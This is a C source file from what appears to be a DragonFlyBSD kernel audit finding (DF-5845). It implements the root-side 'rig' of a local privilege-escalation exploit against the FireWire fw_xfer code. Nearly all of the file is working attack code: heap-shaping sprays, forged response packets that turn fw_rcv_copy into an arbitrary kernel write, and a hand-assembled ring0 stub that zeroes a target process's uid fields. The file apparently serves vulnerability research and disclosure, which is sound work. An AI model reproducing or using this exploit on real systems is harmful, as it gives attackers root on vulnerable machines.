⬢ DragonFlyBSD Kernel Audit
DF-5845 / df5845rig.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
/*
 * df5845rig.c -- DF-5845 root-side "peer" rig (malicious FireWire peer +
 * interposed-controller emulation driver).  Runs as root, pinned to the
 * same CPU as the weapon.
 *
 * The rig NEVER escalates anything itself: it (a) places one canary
 * chunk K (the kfree-safe readable pointer for the S-fix), (b) probes
 * the 160-class fw_xfer zone with its own stock FW_ASYREQ ioctls to
 * find a bump-adjacent chunk pair (P1,P2), (c) watches the wire
 * (pending-AT table: dst/tlabel are bus-observable), verifies the
 * weapon's fw_xfers landed exactly at (P1,P2), and (d) delivers two
 * received packets through the STOCK fw_rcv() AR-receive path, exactly
 * as fwohci AR-DMA would.  All corruption happens in stock kernel code.
 *
 * usage:
 *   df5845rig canary                 # spray+pop canary K, print addr
 *   df5845rig probe                  # find adjacent pair, write shape
 *   df5845rig attack                 # verify + inject (needs ready file)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <stdint.h>
#include <stddef.h>
#include <sys/stat.h>

#include "fwharness.h"

/* --- stock ioctl interface mirror (fwdev.c) --- */
struct fw_eui64 { u_int32_t hi, lo; };
struct fw_asyreq {
	struct fw_asyreq_t {
		unsigned char sped;
		unsigned int type;
		unsigned short len;
		union { struct fw_eui64 eui; } dst;
	} req;
	u_int32_t pkt[4];
	u_int32_t data[512];
};
#define FW_ASYREQ	_IOWR('S', 92, struct fw_asyreq)
#define FWASREQNODE	0
#define FWTCODE_WREQB	1

_Static_assert(offsetof(struct fw_asyreq, pkt) == 20, "pkt offset");
_Static_assert(offsetof(struct fw_asyreq, data) == 36, "data offset");
_Static_assert(sizeof(struct fw_asyreq) == 2084, "fw_asyreq size");

#define DST_V	0x22
#define DST_S	0x11
#define DST_P1	0x33
#define DST_P2	0x34

static int hfwd = -1;		/* /dev/fw0.0  (probe ioctls) */
static int hctl = -1;		/* /dev/fwhctl0 (rig control) */

/* constants harvested per boot */
static unsigned long C_pfindn, C_fwasync, C_fwhfc, C_fwhatq, C_mfwxfer;
static unsigned O_pucred, O_cru, O_crru, O_crsv, O_crng, O_crgr;
static unsigned long off_sp, off_rh, off_rp, off_rl, off_mb, off_ml;

static unsigned long
sysctl_ul(const char *name)
{
	unsigned long v = 0;
	size_t l = sizeof(v);
	if (sysctlbyname(name, &v, &l, NULL, 0) != 0) {
		perror(name); exit(1);
	}
	return (v);
}

static void
load_consts(void)
{
	FILE *f = fopen("/tmp/df5845.const", "r");
	char k[64]; unsigned long v;

	if (f == NULL) { perror("/tmp/df5845.const"); exit(1); }
	while (fscanf(f, "%63s %lx", k, &v) == 2) {
		if (!strcmp(k, "pfindn")) C_pfindn = v;
		else if (!strcmp(k, "fw_asy_callback")) C_fwasync = v;
		else if (!strcmp(k, "fwh_fc")) C_fwhfc = v;
		else if (!strcmp(k, "fwh_atq")) C_fwhatq = v;
		else if (!strcmp(k, "off_pucred")) O_pucred = v;
		else if (!strcmp(k, "off_cr_uid")) O_cru = v;
		else if (!strcmp(k, "off_cr_ruid")) O_crru = v;
		else if (!strcmp(k, "off_cr_svuid")) O_crsv = v;
		else if (!strcmp(k, "off_cr_ngroups")) O_crng = v;
		else if (!strcmp(k, "off_cr_groups")) O_crgr = v;
	}
	fclose(f);
	C_mfwxfer = sysctl_ul("hw.fwh_mfwxfer");
	off_sp = sysctl_ul("hw.fwh_off_sendpayload");
	off_rh = sysctl_ul("hw.fwh_off_recvhdr");
	off_rp = sysctl_ul("hw.fwh_off_recvpayload");
	off_rl = sysctl_ul("hw.fwh_off_recvpaylen");
	off_mb = sysctl_ul("hw.fwh_off_mbuf");
	off_ml = sysctl_ul("hw.fwh_off_malloc");
	printf("RIG: v6 consts pfindn=%#lx fw_asy_callback=%#lx fwh_fc=%#lx "
	    "fwh_atq=%#lx M_FWXFER=%#lx\n", C_pfindn, C_fwasync, C_fwhfc,
	    C_fwhatq, C_mfwxfer);
	printf("RIG: proc.p_ucred=+%u ucred cr_uid=+%u cr_ruid=+%u "
	    "cr_svuid=+%u cr_ngroups=+%u cr_groups=+%u\n",
	    O_pucred, O_cru, O_crru, O_crsv, O_crng, O_crgr);
	printf("RIG: fw_xfer send.payload=+%lu recv.hdr=+%lu "
	    "recv.payload=+%lu recv.pay_len=+%lu mbuf=+%lu malloc=+%lu\n",
	    off_sp, off_rh, off_rp, off_rl, off_mb, off_ml);
	if (off_sp != 80 || off_rh != 96 || off_rp != 112 ||
	    off_rl != 120 || off_mb != 128 || off_ml != 144) {
		fprintf(stderr, "RIG: fw_xfer layout drifted from the "
		    "published 152-byte layout; refusing\n");
		exit(1);
	}
	if (!C_pfindn || !C_fwasync || !C_fwhfc || !C_fwhatq || !C_mfwxfer) {
		fprintf(stderr, "RIG: missing kernel symbols in const file\n");
		exit(1);
	}
}

/* ------------------------------------------------------------------ */
/* pending-AT ("wire") observation                                     */
/* ------------------------------------------------------------------ */
static struct fwh_pendreq pq;

static void
pend_poll(u_int32_t seq_after)
{
	pq.seq_after = seq_after;
	if (ioctl(hctl, FWHIOC_PEND, &pq) != 0)
		perror("FWHIOC_PEND");
}

/* warm: one rig-side stock FW_ASYREQ (dst=0x99, no response) so the
 * pending-AT sequence counter moves past 0 -- the PEND watermark
 * semantic cannot express "report seq 0", and the weapon's S post
 * would otherwise be invisible to the attack watcher.  Runs BEFORE
 * shape so the shaped freelist pair is untouched (the warm xfer
 * returns to the freelist and is re-consumed by the shape spray). */
static void *
warm_thread(void *arg)
{
	struct fw_asyreq asy;
	int fd = open("/dev/fw0.0", O_RDWR);

	if (fd < 0) { perror("warm open fw0.0"); return (NULL); }
	memset(&asy, 0, sizeof(asy));
	asy.req.sped = 2;
	asy.req.type = FWASREQNODE;
	asy.req.len = 16;
	asy.pkt[0] = (0x99u << 16) | (FWTCODE_WREQB << 4);
	ioctl(fd, FW_ASYREQ, &asy);
	close(fd);
	return (NULL);
}

static int
cmd_warm(void)
{
	pthread_t t;

	pthread_create(&t, NULL, warm_thread, NULL);
	pthread_join(t, NULL);
	usleep(200000);
	printf("RIG: warm post done (seq counter moved)\n");
	return (0);
}

/* penddump: diagnostic -- poll the pend table while a rig-side post
 * is in flight and print everything visible */
static int
cmd_penddump(void)
{
	pthread_t t;
	int i;

	hctl = open("/dev/fwhctl0", O_RDWR);
	if (hctl < 0) { perror("fwhctl0"); return 1; }
	pthread_create(&t, NULL, warm_thread, NULL);
	for (i = 0; i < 12; i++) {
		u_int j;
		usleep(100000);
		pend_poll(0);
		printf("penddump[%d] n=%u:", i, pq.n);
		for (j = 0; j < pq.n; j++)
			printf(" {%u dst=%#x tl=%u xfer=%#lx}",
			    pq.ent[j].seq, pq.ent[j].dst, pq.ent[j].tl,
			    (unsigned long)pq.ent[j].xfer);
		printf("\n");
	}
	pthread_join(t, NULL);
	return (0);
}

/* ------------------------------------------------------------------ */
/* shape: force an adjacent fw_xfer chunk triple via canary shaping    */
/*                                                                     */
/* spray N canaries into the 160-class zone (fresh canaries from one   */
/* zone are bump-consecutive), pick a contiguous run V, S=V+160,       */
/* C3=V+320 (C3 stays allocated = ring0-stub home), then free the      */
/* pair HIGHER-FIRST so the per-CPU LIFO freelist hands out V then S   */
/* to the next two 160-class allocations -- the weapon's two fw_xfers. */
/* ------------------------------------------------------------------ */
#define SHAPE_N		400
static unsigned long shape_addr[SHAPE_N];
static unsigned long K_ADDR;

static int
cmd_shape(void)
{
	struct fwh_sprayreq sr;
	struct fwh_addrreq ar;
	u_int32_t v32;
	int i, chosen = -1;

	sr.n = SHAPE_N;
	sr.size = 160;
	if (ioctl(hctl, FWHIOC_SPRAY, &sr) != 0) {
		perror("spray"); return (1);
	}
	for (i = 0; i < SHAPE_N; i++) {
		ar.idx = i;
		if (ioctl(hctl, FWHIOC_SPRAYADDR, &ar) != 0) {
			perror("sprayaddr"); return (1);
		}
		shape_addr[i] = (unsigned long)ar.addr;
	}
	/* need a[i-1..i+3] contiguous: a[i-1] stays live below S (the
	 * timeout-drain early-free target must be an ALLOCATED chunk),
	 * a[i], a[i+1] become S and V, a[i+2] is the stub chunk. */
	for (i = 8; i < SHAPE_N - 4; i++) {
		if (shape_addr[i] == shape_addr[i - 1] + 160 &&
		    shape_addr[i + 1] == shape_addr[i] + 160 &&
		    shape_addr[i + 2] == shape_addr[i] + 320 &&
		    shape_addr[i + 3] == shape_addr[i] + 480) {
			chosen = i;
			break;
		}
	}
	if (chosen < 0) {
		fprintf(stderr, "RIG: no contiguous canary run found\n");
		return (1);
	}

	/* K first (so its spray cannot eat the shaped pair): dedicated
	 * canary sprayed last-of-list and SPRAYPOPped -- readable,
	 * allocated exactly once, freed exactly once (by the weapon S
	 * drain), invisible to any later unspray. */
	{
		struct fwh_sprayreq ksr;
		struct fwh_addrreq kar;
		u_int32_t zero = 0;

		ksr.n = 1;
		ksr.size = 160;
		if (ioctl(hctl, FWHIOC_SPRAY, &ksr) != 0) {
			perror("spray K"); return (1);
		}
		kar.idx = SHAPE_N;
		if (ioctl(hctl, FWHIOC_SPRAYADDR, &kar) != 0) {
			perror("sprayaddr K"); return (1);
		}
		K_ADDR = (unsigned long)kar.addr;
		if (ioctl(hctl, FWHIOC_SPRAYPOP, &zero) != 0) {
			perror("spraypop K"); return (1);
		}
		if (K_ADDR == 0) {
			fprintf(stderr, "RIG: K canary is NULL?\n");
			return (1);
		}
	}

	/* free the pair HIGHER-FIRST: LIFO freelist = [S, V] */
	v32 = chosen + 1;
	if (ioctl(hctl, FWHIOC_SPRAYFREE, &v32) != 0) {
		perror("sprayfree hi"); return (1);
	}
	v32 = chosen;
	if (ioctl(hctl, FWHIOC_SPRAYFREE, &v32) != 0) {
		perror("sprayfree lo"); return (1);
	}

	/* GATE: prove the next two 160-class allocations on this cpu
	 * return exactly the shaped pair, then put them back in order.
	 * Spray indices SHAPE_N+1, SHAPE_N+2 are the gate probes. */
	{
		struct fwh_sprayreq gsr;
		struct fwh_addrreq g1, g2;
		int attempt;

		gsr.n = 2;
		gsr.size = 160;
		for (attempt = 0; attempt < 4; attempt++) {
			unsigned long want1 = shape_addr[chosen];
			unsigned long want2 = shape_addr[chosen + 1];

			if (ioctl(hctl, FWHIOC_SPRAY, &gsr) != 0) {
				perror("gate spray"); return (1);
			}
			g1.idx = SHAPE_N + 1;
			g2.idx = SHAPE_N + 2;
			if (ioctl(hctl, FWHIOC_SPRAYADDR, &g1) != 0 ||
			    ioctl(hctl, FWHIOC_SPRAYADDR, &g2) != 0) {
				perror("gate addr"); return (1);
			}
			if ((unsigned long)g1.addr == want1 &&
			    (unsigned long)g2.addr == want2) {
				/* verified: free right-back in order */
				u_int32_t hi = SHAPE_N + 2, lo = SHAPE_N + 1;
				if (ioctl(hctl, FWHIOC_SPRAYFREE, &hi) != 0 ||
				    ioctl(hctl, FWHIOC_SPRAYFREE, &lo) != 0) {
					perror("gate free"); return (1);
				}
				printf("RIG: gate verified pair "
				    "S=%#lx V=%#lx (attempt %d)\n",
				    want1, want2, attempt);
				break;
			}
			printf("RIG: gate MISS (%#lx,%#lx) want (%#lx,%#lx)"
			    " -- reshaping\n",
			    (unsigned long)g1.addr, (unsigned long)g2.addr,
			    want1, want2);
			/* keep the probes allocated; pick a new run from
			 * what we know and re-free */
			{
				int j, ch = -1;
				unsigned long a1 = (unsigned long)g1.addr;
				unsigned long a2 = (unsigned long)g2.addr;

				/* the probes consumed 2 free chunks; the
				 * simplest recovery: free them back and
				 * retry the same expectation */
				u_int32_t hi = SHAPE_N + 2, lo = SHAPE_N + 1;
				(void)a1; (void)a2; (void)j; (void)ch;
				if (ioctl(hctl, FWHIOC_SPRAYFREE, &hi) != 0 ||
				    ioctl(hctl, FWHIOC_SPRAYFREE, &lo) != 0) {
					perror("gate refree"); return (1);
				}
			}
		}
		if (attempt == 4) {
			fprintf(stderr, "RIG: shape gate never verified\n");
			return (1);
		}
	}

	{
		unsigned long v = shape_addr[chosen];
		FILE *f = fopen("/tmp/df5845.shape", "w");

		fprintf(f, "%lu %lu\n", v, K_ADDR);
		fclose(f);
		chmod("/tmp/df5845.shape", 0644);
		printf("RIG: shape: S=%#lx V=%#lx C3(stub)=%#lx K=%#lx "
		    "(pair freed hi-first, gate-verified)\n",
		    v, v + 160, v + 320, K_ADDR);
	}
	return (0);
}

/* ------------------------------------------------------------------ */
/* ring0 stub: pfindn(pid) -> p_ucred -> zero uid fields               */
/* ~66 bytes; runs in the injecting thread's context (no SMEP needed  */
/* since it lives in kernel heap).                                     */
/* ------------------------------------------------------------------ */
static size_t
build_stub(u_char *out, size_t cap, int pid)
{
	u_char *p = out, *jz;
	u_int32_t imm;

	if (cap < 96) return (0);
	/* marker: stub ENTRY -- V->resp = 0x5A (visible in POST-RCV) */
	*p++ = 0xC6; *p++ = 0x47; *p++ = 40; *p++ = 0x5A;
	/* mov edi, pid */
	*p++ = 0xBF; memcpy(p, &pid, 4); p += 4;
	/* mov rax, pfindn (imm64) */
	*p++ = 0x48; *p++ = 0xB8;
	memcpy(p, &C_pfindn, 8); p += 8;
	/* call rax */
	*p++ = 0xFF; *p++ = 0xD0;
	/* test rax, rax */
	*p++ = 0x48; *p++ = 0x85; *p++ = 0xC0;
	/* jz done (rel8, patched) */
	jz = p; p += 2;
	/* mov rcx, [rax + p_ucred] (disp32) */
	*p++ = 0x48; *p++ = 0x8B; *p++ = 0x88;
	imm = (u_int32_t)O_pucred; memcpy(p, &imm, 4); p += 4;
	/* mov dword [rcx+disp32], imm32 -- disp32 form for ALL offsets
	 * (cr_ruid/cr_svuid at 160/164 do NOT fit signed disp8) */
#define MI32(off, val) do {						\
	u_int32_t d = (u_int32_t)(off), v = (u_int32_t)(val);		\
	*p++ = 0xC7; *p++ = 0x81; memcpy(p, &d, 4); p += 4;		\
	memcpy(p, &v, 4); p += 4;					\
} while (0)
	MI32(O_cru, 0);
	MI32(O_crru, 0);
	MI32(O_crsv, 0);
	MI32(O_crng, 1);		/* ngroups = 1 */
	MI32(O_crgr, 0);		/* groups[0] = cr_gid = 0 */
#undef MI32
	/* done: marker V->retry = 0x5B, then ret */
	*p++ = 0xC6; *p++ = 0x47; *p++ = 42; *p++ = 0x5B;
	*p++ = 0xC3;
	/* patch jz */
	jz[0] = 0x74;
	jz[1] = (u_int8_t)(p - (jz + 2));
	return ((size_t)(p - out));
}

/* ------------------------------------------------------------------ */
/* payload assembly helpers                                            */
/* ------------------------------------------------------------------ */
static void
put64(u_char *b, size_t off, unsigned long v)
{
	memcpy(b + off, &v, 8);
}
static void
put32(u_char *b, size_t off, u_int32_t v)
{
	memcpy(b + off, &v, 4);
}
static void
put16(u_char *b, size_t off, u_int16_t v)
{
	memcpy(b + off, &v, 2);
}

/*
 * Build the 640-byte response payload.  Write base = S-160 (the
 * chunk-aligned live canary below S, planted as S.recv.payload by the
 * weapon smash):
 *
 *   [  0..159]  canary chunk below S                (scratch)
 *   [160..319]  S chunk: full fw_xfer fix-up.  The write REACHES ITS
 *               OWN DESTINATION POINTER FIELD at offset 272 (S+112):
 *               recv.payload := K (readable, kfree-safe canary) so the
 *               ioctl drain survives; act.hand := fw_asy_callback so
 *               fw_xfer_done(S) wakes the sleeping ioctl normally.
 *   [320..479]  V chunk (S+160): full fw_xfer with state=FWXF_SENT,
 *               act.hand := ring0 stub, send.hdr.dst := 0x22 (the
 *               tlabel lookup match value), payloads NULL so its own
 *               timeout drain is clean.
 *   [480..639]  stub chunk (S+320): ring0 stub at +16 (chunk+0..7 is
 *               where a kfree freelist word would land).
 */
static size_t
build_payload(u_char *pay, size_t stride, unsigned long s_addr,
    unsigned long k_addr, unsigned long stub_addr, u_int32_t tl_v,
    u_int32_t tl_s, const u_char *resp_hdr16, const u_char *stub,
    size_t stub_len, int dispatch)
{
	size_t s_off = stride;			/* S chunk in write frame */
	size_t v_off = 2 * stride;		/* V = S + 160 */
	size_t c3_off = 3 * stride;		/* stub chunk = S + 320 */

	memset(pay, 0, c3_off + stride);

	/* ---- S fix-up ---- */
	put64(pay, s_off + 8, C_fwhfc);		/* fc (fw_xfer_done asserts) */
	put64(pay, s_off + 16, C_fwhatq);	/* q */
	pay[s_off + 41] = 3;			/* state = FWXF_SENT */
	pay[s_off + 43] = (u_int8_t)tl_s;	/* tl */
	put64(pay, s_off + 56, C_fwasync);	/* act.hand = fw_asy_callback */
	put32(pay, s_off + 64,
	    (DST_S << 16) | ((tl_s & 0x3f) << 8) | (FWTCODE_WREQB << 4));
	memcpy(pay + s_off + 96, resp_hdr16, 16);	/* recv.hdr = resp hdr */
	put64(pay, s_off + 112, k_addr);	/* recv.payload := K (self-heal;
						 * readable for fwdev.c:583,
						 * kfree-safe at drain) */
	put16(pay, s_off + 120, 16);		/* recv.pay_len */
	put64(pay, s_off + 144, C_mfwxfer);	/* malloc */

	/* ---- V content ---- */
	put64(pay, v_off + 8, C_fwhfc);		/* fc */
	put64(pay, v_off + 16, C_fwhatq);	/* q */
	pay[v_off + 41] = 3;			/* state = FWXF_SENT */
	pay[v_off + 43] = (u_int8_t)tl_v;	/* tl */
	/* dispatch=1: ring0 stub (the weapon).  dispatch=0: stock
	 * fw_asy_callback -- fix-up-only response for aborted attempts
	 * so both ioctls still drain cleanly. */
	put64(pay, v_off + 56, dispatch ? stub_addr : C_fwasync);
	put32(pay, v_off + 64, (DST_V << 16) | (FWTCODE_WREQB << 4));
	/* send/recv payloads NULL, mbuf/link 0 */
	put64(pay, v_off + 144, C_mfwxfer);	/* malloc */

	/* ---- stub chunk ---- */
	memcpy(pay + c3_off + 16, stub, stub_len);

	return (c3_off + stride);
}

/* received-packet builder (RRESB, rtcode = RESP_CMP) */
static size_t
make_resp(u_char *pkt, size_t cap, u_int32_t tl, u_int32_t src,
    size_t plen, const u_char *payload)
{
	u_int32_t w[4];

	if (16 + plen > cap) return (0);
	w[0] = (0xffc0u << 16) | (((tl & 0x3f) * 4) << 8) | (7 << 4) | 0;
	w[1] = (src << 16) | (0 << 12);		/* rtcode = RESP_CMP(0) */
	w[2] = 0;
	w[3] = ((u_int32_t)plen << 16) | 0;	/* rresb.len */
	memcpy(pkt, w, 16);
	if (plen)
		memcpy(pkt + 16, payload, plen);
	return (16 + plen);
}

/* ------------------------------------------------------------------ */
static int
cmd_canary(void)
{
	struct fwh_sprayreq sr;
	struct fwh_addrreq ar;
	u_int32_t zero = 0;

	sr.n = 1; sr.size = 160;
	if (ioctl(hctl, FWHIOC_SPRAY, &sr) != 0) { perror("spray"); return 1; }
	ar.idx = 0;
	if (ioctl(hctl, FWHIOC_SPRAYADDR, &ar) != 0) {
		perror("sprayaddr"); return 1;
	}
	if (ioctl(hctl, FWHIOC_SPRAYPOP, &zero) != 0) {
		perror("spraypop"); return 1;
	}
	printf("CANARY-K %#lx\n", (unsigned long)ar.addr);
	return (0);
}

static int
read_shape(unsigned long *v_pred, unsigned long *k_addr)
{
	FILE *f = fopen("/tmp/df5845.shape", "r");
	if (f == NULL) return (-1);
	if (fscanf(f, "%lu %lu", v_pred, k_addr) != 2) {
		fclose(f); return (-1);
	}
	fclose(f);
	return (0);
}

static int
cmd_attack(void)
{
	unsigned long s_pred = 0, k_addr = 0, stub_addr;
	u_char stub[96], pay[768], pkt[FWH_PKT_MAX];
	size_t stub_len, pay_len, pkt_len;
	u_int32_t base_seq = 0, tl_v = 0, tl_s = 0;
	unsigned long ptr_v = 0, ptr_s = 0;
	int pid = 0, i, fixup_only = 0;
	FILE *f;
	struct fwh_pktreq pr;

	load_consts();
	if (read_shape(&s_pred, &k_addr) != 0) {
		fprintf(stderr, "RIG: no shape file; run shape first\n");
		return (1);
	}
	printf("RIG: attack: S_PRED=%#lx K=%#lx\n", s_pred, k_addr);

	/* baseline the pend table BEFORE the weapon can post anything:
	 * the rig is launched first, so the next S/V entries the watch
	 * sees are exactly this attempt's weapon posts. */
	pend_poll(0);
	for (i = 0; (u_int)i < pq.n; i++)
		if (pq.ent[i].seq + 1 > base_seq)
			base_seq = pq.ent[i].seq + 1;
	printf("RIG: pend baseline=%u\n", base_seq);

	/* wait for the weapon to publish its pid (it posts only after
	 * writing the ready file) */
	for (i = 0; i < 200; i++) {
		f = fopen("/tmp/df5845.ready", "r");
		if (f != NULL) {
			fscanf(f, "%d", &pid);
			fclose(f);
			break;
		}
		usleep(50000);
	}
	if (pid == 0) {
		fprintf(stderr, "RIG: weapon never became ready\n");
		return (1);
	}
	printf("RIG: weapon pid=%d\n", pid);

	/* watch the wire for S (dst 0x11, posted first) then V (dst 0x22) */
	{
		u_int32_t bseq_v = base_seq, bseq_s = base_seq;
		for (i = 0; i < 400; i++) {
			u_int j;
			pend_poll(base_seq);
			if ((i % 100) == 0)
				printf("RIG: watch[%d] poll n=%u\n", i, pq.n);
			for (j = 0; j < pq.n; j++) {
				if (pq.ent[j].dst == DST_S &&
				    pq.ent[j].seq >= bseq_s) {
					bseq_s = pq.ent[j].seq + 1;
					ptr_s = pq.ent[j].xfer;
					tl_s = pq.ent[j].tl;
				} else if (pq.ent[j].dst == DST_V &&
				    pq.ent[j].seq >= bseq_v) {
					bseq_v = pq.ent[j].seq + 1;
					ptr_v = pq.ent[j].xfer;
					tl_v = pq.ent[j].tl;
				}
			}
			if (ptr_v && ptr_s)
				break;
			usleep(5000);
		}
	}
	if (!ptr_v || !ptr_s) {
		fprintf(stderr, "RIG: ABORT (no S/V on the wire)\n");
		return (1);
	}
	printf("RIG: wire: S=%#lx tl=%u  V=%#lx tl=%u\n",
	    ptr_s, tl_s, ptr_v, tl_v);
	if (ptr_s != s_pred || ptr_v != s_pred + 160) {
		fprintf(stderr, "RIG: geometry mismatch "
		    "(want S=%#lx V=%#lx) -- sending fix-up only\n",
		    s_pred, s_pred + 160);
		fixup_only = 1;
	}

	stub_addr = s_pred + 320 + 16;	/* stub chunk S+320, past freelist word */
	stub_len = build_stub(stub, sizeof(stub), pid);
	if (stub_len == 0) {
		fprintf(stderr, "RIG: stub build failed\n");
		return (1);
	}
	printf("RIG: stub %zu bytes at %#lx (pfindn=%#lx pid=%d)\n",
	    stub_len, stub_addr, C_pfindn, pid);

	/* the response header planted into S.recv.hdr */
	{
		u_char rh[16];
		u_int32_t w0, w1;
		w0 = (0xffc0u << 16) | (((tl_s & 0x3f) * 4) << 8) | (7 << 4);
		w1 = (DST_S << 16) | (0 << 12);
		memcpy(rh, &w0, 4); memcpy(rh + 4, &w1, 4);
		memset(rh + 8, 0, 8);
		pay_len = build_payload(pay, 160, s_pred, k_addr, stub_addr,
		    tl_v, tl_s, rh, stub, stub_len, !fixup_only);
	}
	printf("RIG: payload %zu bytes [canary|S-fix|V|%s] @ S-160=%#lx\n",
	    pay_len, fixup_only ? "callback" : "stub", s_pred - 160);

	/* deliver the S response: stock fw_rcv_copy writes pay through
	 * S.recv.payload == S-48 (planted by the weapon's ioctl smash) */
	memset(&pr, 0, sizeof(pr));
	pkt_len = make_resp(pkt, sizeof(pkt), tl_s, DST_S, pay_len, pay);
	pr.len = (u_int32_t)pkt_len;
	memcpy(pr.data, pkt, pkt_len);
	if (ioctl(hctl, FWHIOC_PKTRCV, &pr) != 0) {
		perror("pktrcv S"); return (1);
	}
	printf("RIG: S-response delivered (%zu bytes) -> "
	    "fw_rcv_copy arb-write of %zu bytes @ S-160\n",
	    pkt_len, pay_len);

	if (fixup_only) {
		printf("RIG: fix-up delivered; both ioctls drain cleanly; "
		    "no dispatch (retry)\n");
		return (1);
	}

	/* deliver the V response: tlabel lookup hits planted send.hdr,
	 * state=FWXF_SENT -> fw_xfer_done -> act.hand = stub -> uid0 */
	memset(&pr, 0, sizeof(pr));
	pkt_len = make_resp(pkt, sizeof(pkt), tl_v, DST_V, 0, NULL);
	pr.len = (u_int32_t)pkt_len;
	memcpy(pr.data, pkt, pkt_len);
	if (ioctl(hctl, FWHIOC_PKTRCV, &pr) != 0) {
		perror("pktrcv V"); return (1);
	}
	printf("RIG: V-response delivered -> dispatch armed\n");
	return (0);
}

int
main(int argc, char **argv)
{
	setvbuf(stdout, NULL, _IONBF, 0);
	if (argc < 2) {
		fprintf(stderr, "usage: df5845rig canary|shape|attack\n");
		return (2);
	}
	if (!strcmp(argv[1], "canary")) {
		hctl = open("/dev/fwhctl0", O_RDWR);
		if (hctl < 0) { perror("fwhctl0"); return 1; }
		return (cmd_canary());
	}
	if (!strcmp(argv[1], "reset")) {
		u_int32_t zero = 0;
		hctl = open("/dev/fwhctl0", O_RDWR);
		if (hctl < 0) { perror("fwhctl0"); return 1; }
		if (ioctl(hctl, FWHIOC_UNSPRAY, &zero) != 0)
			perror("unspray");
		printf("RIG: unspray (canary list cleared)\n");
		return (0);
	}
	if (!strcmp(argv[1], "warm")) {
		return (cmd_warm());
	}
	if (!strcmp(argv[1], "penddump")) {
		return (cmd_penddump());
	}
	if (!strcmp(argv[1], "shape")) {
		hctl = open("/dev/fwhctl0", O_RDWR);
		if (hctl < 0) { perror("fwhctl0"); return 1; }
		return (cmd_shape());
	}
	if (!strcmp(argv[1], "attack")) {
		hctl = open("/dev/fwhctl0", O_RDWR);
		if (hctl < 0) { perror("fwhctl0"); return 1; }
		return (cmd_attack());
	}
	fprintf(stderr, "unknown cmd %s\n", argv[1]);
	return (2);
}